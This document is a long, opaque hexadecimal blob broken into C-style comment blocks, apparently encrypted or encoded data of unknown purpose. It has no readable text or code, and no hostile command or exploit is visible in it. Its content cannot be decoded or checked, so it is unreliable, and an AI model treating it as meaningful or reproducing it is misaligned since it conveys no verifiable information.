75597557d2fc399a9fb4d46767060cce246473623642541870e298f4f44a0559cdc4312573f0a641adbfe81f087989fdc90e5f88867ffd0ed87bf448f463052a093f097268489c5f80e22dc21b8c8a819837b82ce2eae9cc81f47b770d839f600650c5d9603db623cbe5f89173681c38afce5dcdc2e4761f0feb11ea50773ce0172c6b47ed551c1942fd04d1a0e833fde935c01a861ce3187a9333a85fccac38bebdf0e648fed262718a5ae3e6e7382228c715d89ab425d0cf706463074dcfe6259438044ef4c6ef1b1f6de056ce82e4d76037576898cab6630e2faa448167f89696c216c7e1571f219d96d4e633501d285dee7b01a9b19c880fed845fba1ec5fca2de2b0e0ce8103c9e982eba44a8fa12f925c47239377869062a87836c9f3f676cdde578844b2523be2408273a7cf710609e29a8979c38889550523be8b346e91343a550e0ed972b0783d6c324fb055508f244e4cf825fc8e58acf7f67967bc860df58c8e8f43f2cad2cbfb4aebe11874a895370dcb549fe845cac6937d9a91f7c06f413dab4e0c86c6a87efced93ed6b392eec5d4f543240ab3c3fe2be15f2cd8e32f5f4f5e357c178c6aa510a63df2384826ff0fc67d4b9a3*/
/*868e44a54f496632080990eea004787d46ed8c11b9d831802f8b5da76b80fb87cb18996e64a7e8ca7e6fccddccee110f8746046ddfa6347e8c8f2f5836dfbc699ce2a9d4793ed07a24bef09b98ae716279ea839c377ca1f9c6f2882a0d2b9bf53b86aa83c7edbd74e4241377005008c0eb2fe0e3542022bdfba212b38f2fc45ebf5307ccbd8a8660c838f234c78c74779bd5f6c95ff9ed30c8ed3764ec08263cf6850a8da17ce43ee5e2fd3b569322f1175e15a0c42200ef10374be753f6d06e8025cfdc9e63a934cd8635ae6ccbf23e235b9b5b5f6f01c2438511f0dd8d32db6ee8ef68031a51c657daef4c152ce60e7d98eb441a9a6eca5535f80f1ef552925a36f7e0216203546e056f8b6b5f488e6fa09189f213ab9a7d992c85461e3021c8a6b4d36a5a2ad9f94645a12cc1deb5b99abfb1802af0ced39952ea74d20f3cde771c16ec43456e114aad742f17eaafae2bed28c80770ebeb3363a0559a48b2d940790e101cecfcca19d8751fb77829fa750c6fd42690217962317ead5127fa4c35529f9cc5fbc4c185751ef9c808f92d995d48ab2f94a71e40e396a001234c865bde2aadc914b72dff2366a59cc804f72593c7ed37feb51e793ca3fdc57a0ed0dba2ef2bf229a1098712c3f8515e89eca50c5d8966fe6d0a7e45317e1c11748bc56f5df85b341c02003effd857b941ff543b1fdd7e46b3a37937206bbaabdd34eb239647a9665cddbc3dd0db0088b49e3fa3299201443d4dbc3842a9d0b5013baa0e19be30cf9193b6e4b09b03553717abf838fb5762a2ee52f50c0c901b6e256bc23b8a243afe037590820bf60db0072579c795d25cdac9860e88db2abcdb6e8ad0b6405ca26912c1efc0554b1fa905583caecb12d48610d0438492a3615bf62c3ba0e8171ff39860da87d31bcb6cee432f9ba58d96bd1b2a49216b8593d086e7b544a95a4b7c560f202949cbde98994ec51e7265b2e02133c0e9ffafcb3e812b3b1cd32a51e0297858aac03133ed779142b79ae46ffb391840c6e36e0e6b6b5e6a085aab753d1959497dba6451c2723d428609fa590845c09764f123eb48e91b095ac2d43dc691b3101464c72e151e86e141f005eab608f264e54e8988a84e1ccc41b2d9c837637693fe8956d5e71465d867a9fad0679e99e4a63b449761f45cf7a4978a599354c48d22668714428d6c11c11d25ba3b869e0a01aecf1af01960002d137486a95d0eb5d128bd0c71e95d09462d78e669325d4e14b335f8c889f2b10cf62a54a6e1b198279ccaf7222d66d55616ecc3d749d6d1bc8bc563710c46847a66d7d73f94c7fe3af919e7a17036a1e3540afa07844aa41360208ee03afc8a93c04c1ae86c539c17a558c9fbb42098edc983eab4abc3248bb96d5df3cbeb0ccbb9e69b90a59062d99ac862b2bbf9a59b08a9381165496f319421719eaf482c4e793c71b9aadcf3440cfdae5f59f08fa4a31df1a3dcd8911e7e6b9719786971fbc5533b23d2208397f2177ca3ad1299f45fc50fd1c823b662b97874a1aa98a57f6ba739344a1b4cf082d4f3ab9fc7b40ec9217f03b83a548a97e19017fab799904b0f2800488ddce133964b691edc8d33be24cdae31c14746911c4f8bbf6625b2170ff729213a79261267c3a7f91cde16625607cc41d7041b46e4a3aac5696ff3cccaff6eac809f3c17e3c09b68f9df6561062cfe1a994faa3fd6fe81fc1daca64dd95cd1d56a32428b9b22e02824a7848d53b5f20b78b0d95e1da16ec4ad1792c85d81df6b666d4194cbe86a2640659d447ce7f7d2ea4cf66b81e409199cd1e326e3f5fb530b4b9066079c526da9cd6b9be9b655775d891c160df68a96a166ccde6838f879226ae0fbfef5a08ed8b07f7c2c292a7339481563fc6d8551f0469c22cbc2a9f11ee2e034dcdbf0f08ea9ad2862f6915b455453caf910dc393c482d7f413c57b34e683390a4de3d84797647beeb4299ed0ce07283e050c389077c1df1c0da55e3d4dbb0705d9224bd7b8d7027883198127f2ea42c4e4eddcf4cb43444ad71e01957457c8ae5c02372131b12472a04eedb08373f4672a811dd6c351353ae5b09f91309617a3e5686330d87b88c5ee72db65d5732f624bf6a8d59a28d1e94c26173ded6f2bff3d030f1914c393d5d745959cc348b447b383aade769e10bb1a6eee06aa90fe2b1ccf9c471686262fa2f85d4381295f7a7c8566ece613d25e5b921e9c3725d9eb7e92e8243c0d97e01616a12471f296c3f8bc70f7c7544661b4e374056de3951e53bd5d7f2aedf15eaa7b2e02f971b4040b9aa128124f79fa4365d5066de236f0082b34ea6f9938561dbc85ed8aabdc15780630c04645a6b629194044b65ebde396f99b535880605fad521ccd473a06ea49e73d0fc4e58087ef74b7893ee79c454af54832ca6447e3f925b3d2815382762db29532fc87fb658629206f6d18a87cdde3a484ca44c73cfd8b0e0a50a12aeb3fe7223f6fa859a613bf19be595f468ea950367ac0034b6bd6e1371e3e1bdf04d5c8c3ee54e5ce9ee6b327a6b014e0122752b58b32524d24682b746d8a375f4b7a77de8af0d8c65f4615010c7cdd38e5f87a9b2934d641a26a2973e1018a6807a40e175951833f22f60386a41466529c15adf8b5e3a1733f041c2a7185497b0c88ee520ad4a8293b1cfba218a6e686d3583f3b1a2c3bbfceab9b3ad36622384205617ba71cdeae4569ffedef64b5305a3189a5d856bdb618d065c5832d047b031b2e26962cb4ecc12365133bb570f8446f1a1a770cfb9fa004b78176247efdaa03827ac03fe1426918136d41f3d643b8ffb32*/
/*637af99f406d3f55e1ab316aeaf71ffb5db3265d05b9a7075d9838b855d9684b137dc3947985ce63578adc9b448a6fe6850c6c82366ca6df730086bbfb9f96e320a4d12bb4227a76665b63daad9a357c4d7085393cfa4f40475c717c750420a73197953527b652a778ffb9c7d92d811f2fe57ca028dce7fafbfff00dc984208ddd30f777094c27b7a5c673a934c828cd741d3e65470b0d0e293de067b861d036406e6c8f75266a58b0646141112ae81350693f659105944801ac0a04ab4ca9f14ea4de2c6c8081d924104f40c8ff9f6fed634ac51c5d9a33902584f7b6f4124a289045d0fc8a3dedfce2c890b379f4db02f660ac1409120b3277077ba426da2ec1f7bd90b3eb46f6e0080b590aacbe869d46326410d60f6a8f0298b2e11e401f3c34ddda2274b241172c89691b0eb3199c0ffcd69dfec5f9e42158496612afecf16c269b7f36a3f0206d914ebe6f0bb4de61782f6bc635cffc950503f8d98a390a4e61a204ab67669f74c35cef980a627088277ebb2c5b83c32fb277b2b95e631620595991033d6893955eea0aa45645efbe19525b9a095f4ced4e3699600afbcd4c2ae6cb98512918cec863be3aedfd16bcb5df80f397cf633e0dfb2b01a3cfccbdc0d6ae291514c01ff38047b272c8406768e4357016c2a4d43887605c57c9b8f9a3d0c9cd41909c01e5d58faf46700533fd88e5f018623c57cea3799a88b332738c899002fe5fb57b9a802cd1aa4b6f8ad9112fba64eb38ae71854d0240a5f39ae5459f186930848c6f9e09dc4eabc575fb46bb331fb22a5f3af1a0b1a1bd84fb133a166f615a1bb918e5ad5126922a3a1c79ff3a9b545fc0ef9c681fbea488dfd1a46bc60442bfa7239416cae566f1c37f7ff9f699463d735685486b1ab768f3cc240f847f0a2039c6f0a84adb5be25096c1f50712f3a63bc10b7951bc094198e08a8c0ac056e5900ad3a08b2d45cb9d02082805d3c0290865e42ef0b1f526c7b5d43bf9c1cb358cf8233083feccdadd72e7cd2b47ebd80de51f2460db73b973797ad5df5c8a035fd7055fb2cb98464519b9ade4643d5fa378a280fc9f414feff4e2a711c7393be3b744243c3087ac251192d40999699d616cc4fe3a7d4ab134a2e0ca1e28e7677874e88fc9d5d36c2694aebd5fb62b522736531e9c3ce2b27ae288d65ce94918a8507399299d4904e797518f83e727c1be0f47000518bf26bbbf4eee4e31734ebdf92a654a8238d40a35d421b753884d8e23a168259f953864f8c0c4c125b70bf107e296ec65e222e7b15dd3506b675c3dbd1f2e1b1163cfd04d4154aa0111c5a6406a6883c481f8fe3b1c18f27b268b369d26cd0b4d3942fb5e77dd5e93f5cc2066e452e6cbbd9e3386fa0afb112bb04d5131e8f572323a1e3b2937bf0d1755404cfb8f7484ce40f907d7f7fb93f8af399823d6675f2a4d0a69292d7c8fc897ee2da88760c0f9dcf2523116ef346d70e27bbac796ffa4890a85ab4c26049a234755db74b3c071916f77494cdf543bc59868a673cb0fbfe7276e256a46bfd4ea3b4d094ed236fccdf43f285d8573bc8eaee1dd5110086949561448e130f691a77a2a372b83b691ea300b4e0bacda5ddb470b06a6778364fb2f4e23fce62ca96cc5bde459934fc3c598e60424c72607fe42f2ccfa2b43c7a021935ed07eb4c55d8124671ac73e4f38c0d615a7ce51128ed471ec4705d4379bac5259960075975f1ecd4c3543699081f354af7c299efbcd05b073c57b2076cfc3c214a4a564782db4ff3fb88b21ba00b7ead98487300efedb87d2866cc3ceec05c18062bd6eb9177628517f1a0429d46bff4678f4ff9b565318e372e34225fd1988f8111d2139055ef91202c8270ae4d4f243c1b24e299dddd62b153f0552cae4c9a39c935786061bd6b1866f037af85ba5cc7a9220f3c914498ed1e8c0803cb96de70429aba6e7df214614ef248968ed3e789edc32527229b6a6a66159fc4fc1508e702f7250c78b981b50be03a11150d99fed3182a2a115d15bcf847ace88d2800b2f74927f154b4cc0084a619ae134f8d3d92997d39b90ff93b39474c0db268f1a8ed543a9ad16637075815b5d3ecd8c898de9960c30b95775c9ce2afda74b80784620ac9796c40f6a2514533046e6c0a08175f8c8d4709b9b54657dda8672bedf6b30af18c8646f53f40e4ac7534182e889c7ea93999d68426ef86827cbb73ca9a6ca90ba8247088e89e7d84243263a8071ffe9b245d611bd0c53437ee706b38aabc2167ca5103de98342e6a2c96d7dd7117305cd2b361de2865e8688530f3e93028a363d521ec92975484ef4eaa16f2c2e738899e6c5a020ec12b1c401d68a56ec5fe44ead1b546e3771831b8be18b45b227aa1712a6841990d1b5baca57f3d18545bf4c2a26f216308115b2c98facafc9feb416ad7de6a88f66ab92c50760792188fc6e114668017f11904cac396b4bd679c899f1a50073beb05c22c7da4bfd24cddbcb6cab01bfd652ed80ee35e3fb355cf42cb22f427581984fa41805663e5415b9cdc857bdea4d04e67f8208d7da73346d090e50516a9b02a1e706dfe737a86e5fd695082d248f9674059f4c96d7bb921f08c5925688744592deb60c03a1f0b28f559df8ac5078112a2c59f44fa34afd3407d018f2edd59d2bb1302ed58628abd56aba69f8023dc1043899bac8bff1fbc9d2707d50695e44457c68cef431997525fe639b71722b4ba2d60594c5677aceb95c70458e4d4277b4dfd0cbc417f14a1173f2ef03a914866e4a5c40ed2571871dfd4e08b0a26e486589d823ea7b134bcec5ebc5c5787807cc38*/
/*1bd421f6a5a023d3cae18f0520615c63e9e7c06f2ac2e6f789a66c765974a710bb7356fca85d01d8935c0153ad351535108276e32365517ab8cfdabffa8ba4e5a113d9a0a2729bf3705aab4dcbbc8690dac60a843237b2b1409b4513f122fa242eb62d9be242fc27de381cbc2338ebb1ac402ea8d78e191606d56055c9219d36d63aa4b5dde4a4c120f00631387da6a149712e4969594de0cfedf092c6a2668ac5aa77a78fe56b94882d34adf288d04b1c374381d608efa428a1a3ec5a1a922cc322e3cec71de99147d51f2389efd6e749488eda118e087f480af538efeb1fb1894df5f8ded27b2028a17e53997e846b5207f5e962be53e9258fa2a601a0ade89573c629c72953e5a711816884c28dca6aacaac6719b96c53a72d4a08247a5487fff19e4c825a0f4bcd326a9eeba052bf95b79fb083ea967e4180e647aae675b93843ab6e6882efbb52e62839e83e5bc56ff1eea696dc98c550e56208a3915fcd567cc8753678eb89aa1f587d9d2129e9f74b26c4b1dd31e0981b40bf68a6c354bf8c037e04fc3dcd993270b3128948c05b1fa7e76c2fbdf70c4cf010c56abb7db9baa927e16d67a5cc6c22bc9f079dc322ce5b00c181a265e808d98ed52a3596c7a0517ddeb75d60485dd1b09cadb62d4132259218aa7304de7fce08d11855ceba6f5c6b63cdc50461ee8a8bed969c7e5cdc95ec56016a2cb4ee40bc6d69ef2963c718b713da53248f91c8755783edcfd0f342fbf17e4a0f86ebbbb6e9e9705affeb8382ce41ccee46cac7163a91a547073558f534c5f78d76300f74aa483f9d512f40eaafa885e3f1c3cbc81a7d494083a8d25468890eba7c5a256ce3e6f6436b36d2f43d8e71249571d8d7433531744abfa53f1e14f09603de8c30303912aed4cc906160cb7fdd0eec695d738c1202199dd65b32c50bcd3b719e6bd4767fcdd00efd2e41dd9a23f2d601b537ccf5698d1b28f7f717f7c2b5ed42724ae64cd6716364f8dc06e44399a2403a7e08b324aef1243c2fc9461d0e1bec4b52921962bb6fc510ae76caaa7aeefff067f1319d3c28a20d4ae377ac7b62795c4039b12eb9dee97859887ac23a6635627383de4b695ecd508b5ecb5a927e1add348016f11b3abe9c0eb3ab9066a25485915a2b2419f6f2a25c6cd0e4aad1d59a690160834ec2182aaaac0dcf22069c48415b21cf7e81523690027d1aa6fd541fcf8df49ae3134804199287e0ff09213b4b9168f385f7185eec525841ded5b29b41bf04949acc43286dd3b04b18c2be6680ba9fad94472b8d35e5f17a7d1096d0756649f41da227b3eb72cbe91a388289e495df839fa9b9d47f7458a200136529e1a306839037decd06be235a3adf6107fe2a367941c95850a2999220bd82e3c439336f6aa1e79251cba03d0bfcc1f210672c82a707b619ba987e3c702e7036c9985cd5cf8a21e459c86a8a95034977e04d218c59f64d2e822dcd75e22b52a175be007bcce6f317e5f6f18f6430efdc069d7f36fe524933c5bdf767a5328566c10a7ba2251ea5012a6cfa358812f22a25d700b27f7c40a1d45bde20206dd12286779e5a0f800b2bdbceb2ce9851eb0f8337ca68269f1041d969bd1717df2465db228c0186dbca1cc59af1ed9cf7dd0e31fc1b7596fd25cf30e5851dd10d88626dce3a422a25d1ad414ca589ed002fe38ec8d8ec36348655df6fa2c54f2047b8cd18fd99ca854fe3ea390ba46e0eb1eec2ea47441dabfe96bb1ce1772d910db5fede9043610588eb26bc09170d231f5f283027b0830aa8cb50471b5a9451688788b3b19dca5b79acb711b6d30ba27efe71cb2976021bbcc6cab26efe858b7e0d0a271e11873f24eb557acb5739f4f847dba3f648f90b93b3e5874ae1320dd025035c1d85fd324c0cc8f5aa51554f18bce86f7e9c98ac5249696ac71309f8eec519e43b36a9623f077a3460b7c13966b607874f2bb6b6cfaf598c9b224cbc2fe0fdd6ab2990a861b7ef81368b3f2d2dba18873149457ea7351361934c32cd6d1fa8833d8ad3b87528fc303bd10f00a2f9be7e80d03df32af6eddc24dec3a916fc4fa9f1a8473c3d90fa74e0d98ee7757fdc3d8303907b5da51df5027517bc885fee582c847ebb65f4b2ed512a1e018024059426b532a7b04f6e920ba6bc4c081ec42d929e3cc9b853f6c8ca566d6dcd677e08f382a9de4224b24abb269cafe0a3d763d0e6dea4d858da8065830b23789566b67a1bf1e7b342d00a203032f1effb8e450ae383c7c99c75c4589be145d9d3578475403f397574995c75a61ee734c72c10e4f594da81fb8f3f2652a31a5bdba139d509c6cf7972a338966f613d231b697c3b9686578e47b5970878bc0fe7255c1adbc5f6278a6fcb0c4413e5cbac45382d6f7e66aa5c5235943435990707abb1bcad56f96fb6629ce841047caaa78e892b429b55cf52fe44952a358377fb61e8bf3d878c4194256b3e4c4ba7a830a99ef2a67887584436fe04c06cfb7a81f6fde68016d8701737099264049d7f407cde93807f1c6fcae59f1a87b6b3b97f15890ba26c02fa763b53585156f0f37ece53f64b4831ff81f69c6083b58000aeeac260e860191d7aed3e62ef668005ce298d7ae97bc0f5dda1438e6eb556d5845d811c0e53027b96ded1cf2c2dac3cdf82900fad7a3a47dfbaa94b6cdd7c118a87516c2be4d4143089e66284ef3211302b001f586877c1acf0404c94391dbe592d9eb9a8b8cc89a6fe90a08f8bdc8a792dade4f9120429ca2e09a47d75736f917dbe0bc1e61e73aea02a4d794244fb881463d05faae06bfc898ca600e88726feabc52eb2cfa*/
/*96fd3bdb8fdfe55094310871f2025fc8cfe795f138c6dda5426d2a07a0d24e78119a2e713a941fc747fcd403ca771dbf84734cd745e5cba87d7fcf41b2ffd6ab3bfbca50d09095668e8136fbec037badbfeff1345f0b1725c5ebbc63a5e6d43aa0f339de47b1135547b38e2e903bed7e33451ce096e6ed0d6fe64e352e30103a39dc209ebea49e2cc91be7d622b148f0df444fe340363919a8de59f7ba6b4080191ddf58cbbf148a431a005518dde29d6b8c1c8a127c6de3bcdb02876e532dfb62557952a7d1ad30a1ccb359269d4b2091165c08a1a2d01bdf0a8924c20171394ba3ed2e73d50b614a5ba734db1a677c12dca8318234a936fb220fb69ed6382cd74884c247793f775e0a8c16ed97441368c208c6045cc2220dfb62d8cd5bdab593b2f892922f5f203e89440a97bf6342508d83bb1da666cb19c0fa048870e11cbc655a4b20df7689f2db7de00c64b019ed2091625b83318c54d07b079521765102f4a7031e268b006c646b968f4d77a3131466d54d57d5635923b058bc3ebbf2381ae977819542de09ffb135155145bcda933c425a35bd9e7a0f4f601331a356b369f0e72972945e1764b9a53693791795eec9587ec69614176a80c6f8ca219a0aa503e80d5aa0a97035a1e930898e22df8e05ca17400a714ea0f80bf3f8f5f29c0150b77e080a403532505cb0101807bfd44f4bad1917d050932af0e960ca44ffddfa7944b81696def799c8cc05ee73f51e924bf9d8dae20aa2a6f29f40426f29e8e0999f4cfd7cdaf0277a10ebd8e9fb2f1d72b46aad302c80631a815b80aeb0cd56e518c95c8c216845bb716f7a3a5fee8ea05abeb455280a86e75e1ea26a5b83a3beaa7381d312e8e81a26786946d2c03ec368306e4105c96a030413a1273b3f1e23d886498277bfbd53dcbb90cb8dd516b0c83dae11a3e0799a43b4148d5778eca16c78b65318a0a289ff4da3a312a9b57da3bf46219d2a6231a8becb07384fee902855bd6a05b9dde0ec8d8a3778a866090482362c5ac212ba80304a3a2eb81259c6744e06f676b31f8385f7e442d41733e1033ed5d80e4f273ad151b8c3dd1b30f5c1ffc90d3dada75f626e29e738451a2e5f887489847466cfce66b36f5613969f1186893b2bc68f2cc478cd640c4a102da639f52b47015cfbf99e5d086d62ded605df6fa5958e138610abd741fbb7e687ddcdbe5b6b1187f27c26c252fcd9e62f379e63edc93ae2e14f8106f00a06e3e14491ac360b575cce86238e4df4358ebc7ea7b2ec7f41f22d51529003b1167d193e73e0a5e8647eacb7266c0a0873871f8b0da782a8106df6ab4285709d5ea4d3409f356b58d9020bef33dad4b4c3f36b81f223aafb5de12583cf0866a73b9f972c1f12d514b10a7897d23424ab5e61e36eaebaf369706c8c572c53e54e606da40ee959f652c8c31d82cb5172a3c24b5f47315ecf6f9a1851469655da44fc2144b0255f3c1d0ffe29c21d546fe1583804542b26b20193a75cddcc5582f3e479ffe9c817e64c69375f2c7a916618c3f12b2ca737b8410a8100d6bab3fb6fee9fadb195d96d6c09a6da423b4f2fa674a7b5da5c2039663b46819e93a973e174d537654aee1c911c7622fa0f25f408ec2dca4270ab9e95b71330101055262a058d4ac0d8f178fc22dd26917fc7c571b8657ae10b41305d2826486a7eaf5e32c0534fcc11242eeec76d6312204534eb37891ef27e80460d2c5be443d632c5099c39566d200a2549a5e9a30eeed6407706ea36b15be67b081d6c13c0aecc5348920ecd917492948f84767726176052ef8919d9010298d5abfde149bc75e204bb6408b383df40adb7ae17111add6b90f4cead6b00f89052627557302806a5557ebc714fc612d6f778c5565413b3f6ae48354f66e497952109862afee2519babe8ee1d0b9a5e69b637067801c3f4583396b605062493588e7996caf610d57c76f036b39c089360a7c5539ddcc96606cacc689322b169f793bd47db61025726184632bf7b04a07aeb0336f1193b379595aa64eba549993c107330d34ef76e98e2bdd22e40b87df6f543a8582dd8ded3e75ecfff9c46752dfe8ac64e58c530f71e296f547ffef20bf43720ba4df92b2cef1441ed51b842afcb80179a4601bb9d4235951c88adb2c936ee5dea4ee62a29688e7e284fa5328bccf4a2bd8104b6a1e023200cf275ef81883ddbc46f91bf939347ff9e1ea2939c0891edb47532acbde6181a4e09c7d990eeff68dfc647f2cc1789fd0fd82ab921003da3c167af7dd9f1b08bfdea6d021001822e17040eacb4d60b475aa9797dee7d85d5c0206f6f91f494d114f7f3b92ccbb7bdf2d318e4772d91430c26a62ecc40ef5f37c4cb48ef9f3020e41af8d05df437891c41253811b64c9d1f86a00660a54043ff0e2e1eb13ba2561caf8c2cc191c7e4bba72abe10aa42806c63c6307139faf0137c31b77ee832f779cc98854df961beda7bdbb7dbee2adc330092ac2c058e69eb556ab9bf07b92ac7953b36e8b460d85e8191c7a894f484736de813cee4be38a05b1ce8cbbd3f3c7bda95708c1ebe37b1c4693a65aefa4267b8f25eb3c211ba87fbc240ecf778bd5cc391f690b2f95cfd06b7f1c68d3096bed49e6547f7d010562fe95974fde5f8be9e1b54eadef947f2eb1de1a56c38d3ab2375840ec76e285e4c13a4bd69428ad324f479b88290c634842457ae40590ffb582b739a4e7552dad3d87b114c72fe48e2b183f2d9728c619abedddfb21f3f3f18d7e41e87cbcc83bbf253a131d5ccc9c4f49c726c192dc9718b6e2d322d014b8066d3bbb3476f3bb2524edc*/
/*75cf36d01496affd20f4825930f5a2227c85a034cac56b21c804ffb133fd74b8e75e4ee45f9fbf30d8a891b3f921894f81207e85e77f965637e634a50b43056af0aaf4964baceeb90182a2d9ae76068d6471660ec6620a0cb5158719c6ccf43407cae7a6e66fd3eab53ffc63aadb5cd57b7a420ef2079889b2a251f1c3d7aede73b50a9431c7c2dd1f421e87add06c2b66a7f787c42c095d85d7ffd819fd8f2ca6572d33ad8dd46d2b1e3eab2a84d6202462c68510c2ab25d2287b4593c5025a4935b68e095082836e2196b1a02acdb698173877ec7499b281fe8bd575f7a7fb2b1086f601a48fc93a6d7ed026c0c09a7de5831b93eeda532446327c7e484d1a88dafb2e11d403133d7c6db4348901823690a0fa98f664d8ab52e159138f2ef52e9e73d53d8d2c7cdeb30aef464e351feb524131100d6da2518883fab59ff3bc7252240d89adbb2b5c75178e8911c465d5f43d50a24ce824eac19f14a871e1d978c9412726d63793cbbe55776fc7c66d9ccc1092b13f819883669e825ef9a444fd700d05a77463c0264ea58b1c4a74fffad405afdf55f7b97b00047f0ce55cc61f7229c835b796186c61386238bcfa24e0a90da7014cbe0dca7c8a96d7f3b4ddba9f778f854b20ba954ef8feaa173fc78fe388834979d185aadd51e571bbcce519fb95698b7f827f4f3a4cbb40a7edaeadf5973c5b55dd0e9dbb2181dfead451c8e25126acce3721410c76155e3f88d262898e0295409fb34833bddacb5be4f1c764eb2a2a4e487546c775f07b4f53df7bc93aeb803687d23bcd88152f7ffbc3829544059601de0c5935d84c398ea0c6c29301cba0ea48589aa4ce84973d03738b4a02bdacb366867dd0d255503f4ca69fdd1913d128e96aea6f2bafb2c3e3ed978bdca44688e1d440f9793aa3c3eb10b98730b92bf650d8302dba9300b095761593e8fd4146bb6c5ea88ae1bcfe06baf2034cd27f685c20836ec9c95eca605ef8dd32d967ccb13939f87c6ea6183e5df516604919d0db81e0a75646ea1f3cfb3e2c3a00ddc303fefc30a6e7225057bcc731254a97e6d87163b9b69aae2f258d638038b0734b8171ba0a96c7a35c764f01103be069258e1d2dc131c1a65de7b40576771b4d0d20ffd1a34b23936b600a32ccb2a2b50f9d3ffee0d987dbde00d1853786d1c6f70b5c781d10227bb42c3ff89c81c9fb148ed894487687a63fe7dafa927e1aa0e5a14fca50ad7cc1cb85fb89e81abcb1b29afd34c9e0703d94365ff754c33651723fef2869d2a981bb2fa9e9331c76f73565afe2d4a2859e87b6e50507621e0d76c9f4f49b1da59ca7fc16b5ffe100d42b620ff46b55ea73ec0d4fc2f2affc91689e313f7467cda14aab88b1f505970f8e3c19b69be7a59adb17c49f9ddcab9f7bfb89e826ce754598ddee516a1e7692a1a549044f27e3b55404627d5cc66de050246d837c7fe9e88b0511008131cd085ebfb2970da0c670183fe708c632ebaf1f6bead8f6a0abb3330e5f8f7691d36abdfea16ffd09fd34c84fd114db66ad40d5629ea54f6300d81af42063bae8b2e89c16499e458d458c6d99de528d6d533c0f47a0807de16657df0e48b4eb32c57952cc4d5bcf5d16f3d6cd94bae56960d08928f2397111da53a87f18213bb856e641fc6ef1052db397b712b0d3eae5a5b939f75f1003ae1500b25f19474a9fbbf87fc7c82fadfff99012a607669fa4cf6e4170b4410bdda53b148c7ec2946f6fd2e8693b68da9e1e81e0a6c0f462163e9838fe0dc2107feb0ca5bb1f83b4bd2a783468516ea6298cb7d8fe55aaeb9ed5f8c234deee417a4db0884c292fb2e0857a94a9170e72230b98cf2f04cc54e169bdf0214eb7e2874165bbae8e807912d8057a3bb0982b9768b4cc3ba70580e30bef9d015413e751200a098a7f172f91813ea5016eb0d91ec1c46e1b92d7ebee7644b2731f63a43b7a375b461c8439579686962cd149672c30cc0682766e57cf786a077c1f9874e4f16a771a67c27e8793ed2e46d8e9d1eb371aa13928f9f110c3d3f36819f9b9e6861a09d3fa2816161dae6adafc88b80eb99953ebfca22f0d8ae873f359817f770723b0301f0900a221d6d854cbc01392c6223ad66293d9b2931fd02965090210525048a4108c89d3b64f9a2a98a1f8a741e11c98ebd933bed40b031163657f4179dc1d6da88da5689f06e1061fc03d2ea3b7d089bbb28e35e9a8d4e2bca91d2b81b450f641bb70da61ea90501a9446fd36cba049897db6376def96ee8d092d85c6eb71922803eecadd0cf208a49a39cb221db961c89d6eed07b4e29f4000fd69ed33a41f1b85f2da69a2867163f8e584c1f69ec1b4cdf67d508de8ca4bbcc006e22770f381a03264f9650405b3a2fdcf66bb73ca63a66e5bb81a580e27a1c3769c97d06333907605582627dcb1da56150db92b07aaf21ce30a1499bd3e0d94a712cfafa3647c610350e14e42c4c7add741feebdb704ce604167bd8b38be9a6c4abcd7882f06a1775c0ce8bbf3a2fc0b0efb282404deb17a7459844fe49a12b39e08e192bf24f6c6b529c7bf32e5f4f32f810b771f8607f29cdc44ef26073fdb590580ce93a3d78eb045a1742e374be6e7dd9101dd8568205748923d10291440103215d4f9cc42441d9a7986e4c9542127f46498acbfc2fbc3ea2ee810c479cf524ebfed6656fb0f890a2f236e8cdeaf17b831eb0d8a4514cd99340d2f863743ca5f1458363b511ec3be4b0b978ed5496cfe27253a8d1ad5df5e50fe9e62ebddfc22364a511c33349869249d4b511d98de152a3e15299c00beec034b83636e5f8167c176941*/
/*34aa424d10ff9d4ea9c130c7df58f3c3c215d10936d974a658831c505bff8eed3bf1d45819a24f487bcd0aa8efc7477a6d7d4413e660e0f23cc97c3d77248d2713f14fdd43029513720bdf7f6be39424261e0c42e6fdc2b68b22b4af2032dc9ae8e7c34fcbac833f7d59ca52b3d78354d452254cd6c9c80823b313109ddb790e3c6dd3a9f1402f0355f356ab3d8458edd7415e5493fa7663ce329b80a395b1bea53453caeb9e11df3b3f22f91f9a2cc4fe64e0b57e8e3f97e23627f2ee9c25f86e44ae607c3ac88ade30600bc126b4225420746d675a8e78a2de2323dc40656fae3739ebf98d32cb5a5e2fefca393b6415167f93ed1213f63c9540eab0372475e5c82b55ae4fb85f167b384ef11f38fec6c65fd238b50e247f353396bde5b668ad582c8fcfb5174f1e260c8d2bdb979d60678439abceac338fd7d123052922fd0adf16973c2dab8a5e7db2df5b103373b7bb7248a5986713bb830b60a69247ee86103f379295e07ef0f09f87624d49730bc5332bed11a8a2614831dadfebaf0b89142ac6e23963f476ddaa32419ee1ed3ec3169c14bfcc87497226996e0978e904a00020433849d55643cf3735f29495f37623a7468c7b503cdb1e0470e2562cba9027d040114e25bffbc45ec2f85e80619ab52da58159e78ee8a451f2b5dad188d37197005cbce9b84a1195cd63ddfc6e47aa1eaa297cad5bcd3b182c139c9b48e48be927f8957e581e7ab945e73d3aea63bbf059aa8f56af601739987fbca58a47ba59d4eec6cd5e76b522900718fdd83d614e6f7c44f7fd5e192645155e692deecebdc6f08e9fcd9d466445daef5a6c3bd0ce992b048dce6d457e2b463d8b64e55da62361f36f91d88623d9948e8841ef516e6cf3e2b908439e8290da3aabd82295317f662567ea30d1be2f88aad47d18faa8610235c93b85a8c4e30cdf49f74c9268227f08c1619e566130205c1a4cd92790d4e5e8c7dc2e065fc118d33110f85ae5480189c59085b6fd66de860d7326c948be5ba1793428da97225456849553b8f06a95c643acaf3319601b637563825c90c47edbb7c2282b1dbba44f786f0558756c5167d7d4c63138b6a9734105d53b0a9d3ca9fe811b32e9e9fbbbda668d469a12eb0206e2304e98c30cd44272c6da3a66fba4b19bced16efd7b1620cf09c1143349d71ef80f6a011d7b77329cdb3b2958476fcf02b246f566b3bfba50096c43276a2b6610e0f0c62aa7a9892e41d4ac9be3ed66437d3d4f5de7565a60893f1156b39805df60484cbbd471a5ad4fbd82554127d1472b8319ba17c5e4b90a071fc92906bfb20d3bb5198c5e5dc83045d120e43ee45b91ddee3d0ed8968aac5495b38b4e2093aa376893dfacf8845d2c1198bd1c6f501cdd566070229967d044ddd4819f9f740a42fae4bc0da61b5b09cfe2584463c88396bca10ec2758fe38520d776f03f9d794f3f36cfb8ae617c0457c834602e3e579b91e8749d302c03fdac1b14cc5113099434795bc19c37b0792f3338a1266da596f8fd36f4abf4d78d234e7ce204bf6bf5598477219f5585cc185d8d7c50c77438fbf739a9d81ac7736795e4ea8cf433a2ad1a7dd40d1e00c8cc2aaa6672599c